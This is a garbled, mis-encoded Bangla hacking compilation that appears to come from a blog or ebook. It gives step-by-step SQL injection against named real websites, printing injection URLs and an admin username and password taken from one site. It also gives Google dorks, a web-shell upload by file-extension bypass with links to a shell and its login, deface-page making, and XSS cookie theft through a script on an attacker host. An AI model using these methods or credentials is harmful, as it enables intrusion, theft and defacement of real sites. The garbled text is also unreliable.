এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 15: Hacking Bangla eBook

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

